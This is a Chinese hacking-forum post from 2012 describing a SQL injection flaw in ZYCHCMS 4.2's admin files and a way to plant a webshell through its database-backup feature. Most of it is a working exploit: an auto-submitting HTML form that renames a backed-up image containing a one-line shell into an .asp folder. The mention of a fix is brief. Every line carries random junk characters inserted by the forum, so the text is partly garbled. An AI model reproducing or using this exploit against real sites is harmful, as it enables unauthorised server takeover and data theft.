找回密码
 立即注册
查看: 2327|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
6 B, r3 o3 P1 r5 F

5 k6 r, A0 l: K
* ~* k3 }# w7 v8 \/ ?0 s
# O! ^+ S( B8 e% {, C影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)# C3 C; i' C4 B& S6 F+ u/ m( [
①SQL注射漏洞  E+ m! l1 Z0 @4 K2 b- W  `
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
5 n5 I) {4 }: C! Y% }* j' d) s 漏洞原因:未过滤
5 K5 X" o7 B, H# Y/ @% F' N 漏洞代码:% @3 [6 G8 `. u, e* o6 z$ r
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
" T& c0 {3 @! \" D% { 修复方法:在文件开头加入代码5 d6 W# E! A# I- H( {

; d1 P& b/ H5 m- a
- n  r1 ]* W% \8 d, v4 y$ W9 W②后台拿WBSHELL
" v+ x& j- O* S' L 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。- G9 e: O+ D3 ~
这里在网上找了一个,改了下,将就着用。- Q' Y2 ]8 r! t* E: ?8 s
以下是代码本地提交代码
' a( M2 J1 U0 ? ' R, Z, ~7 i, g; n! T  y9 T

  E* B1 Y. ~! e  J<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
. R7 P# r; _* E  {" t2 T <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
/ ?  ^0 l2 B, h; m+ E5 M. U <tr>" ^; J6 C' q7 S) H3 l+ i8 i" W2 o/ I5 E
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>! F, \1 S( i) j6 x
</tr>6 ?4 q5 l5 ]- |# O
<tr>! V* O8 |/ V+ \2 `  ?- ]) \
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>2 X$ ^3 @$ q4 b4 |1 {7 C) V2 L
</span>
+ G1 G" @6 ^0 q( f( |$ ` <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >+ w' t# y; O. R
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >' d3 A4 r( A+ _& m3 x, Z/ ]
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>! t$ S6 a$ j9 K% U  l% |6 l8 O3 Q
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d2 [, C$ _! W! X( [
<div align=”left”>; k; t! H0 L8 f% N) [% \/ {
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />% O8 R/ D& x2 d7 m0 N
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
8 a5 ?5 g7 @9 Q/ R! U <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />$ z8 A" K5 o# V2 Q' f3 K
</div></td>7 t# N6 `. o" R0 x# i7 @% a+ V
</tr>
- E# r' T5 o$ o9 T <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>3 I3 }5 T$ Y: P0 R0 J
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>, {0 N' [; X6 z1 G! M
<td class=”td”><div align=”left”>
* E/ O% |  @0 Y  T <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
4 L3 ?% v9 n+ @, p9 u% b2 s1 X# W7 @ [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>. S0 G! n, p9 R
</tr>
7 v0 x; ^3 ~* t/ O( p <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>  S! E4 s* j& R2 h. N$ D
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>. z8 ?6 x8 O7 r. ?: c, {
<td class=”td”><div align=”left”>3 H. g4 r, q- j. C( g
<input type=”submit” value=”确定备份” class=”btn”  w4 q9 i2 }# E3 v- _5 E
</div></td>
, h6 T4 q( h+ _% i2 v0 N% Y </tr># u- t1 z# f/ a8 g; i
</table></td></tr></form>7 `6 d5 D$ ]" J
</table>
+ U" j" u* F4 P </td>
3 Q7 R; K* y, B7 N/ h2 u </tr>
% [2 u2 O2 ~# k* j- w </table>, n7 O! d5 D& ^% i& G" E4 j
<script>
9 s; O7 b- d; N" Y document.all.add.submit();
% w( P1 q8 `4 c: B4 e  E3 a </script>; y. `0 o: I; u6 g5 x  F9 z
% M* l* j# M9 \* s
3 X- \1 Q4 P& m7 _4 T- c  V0 t
" }2 e# j2 \! o. |- r4 b. a5 J

0 _8 o0 z$ a) t& [  I
1 z" C5 s1 I8 @$ y
! F: A4 C8 Z- V3 E1 d
6 }! [) s& L1 q+ D
3 d  y+ l* R6 I* z* C
% w! R  M2 M, B! {' T( I, Q+ {8 Z1 ~; W( j' m7 n* S/ ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表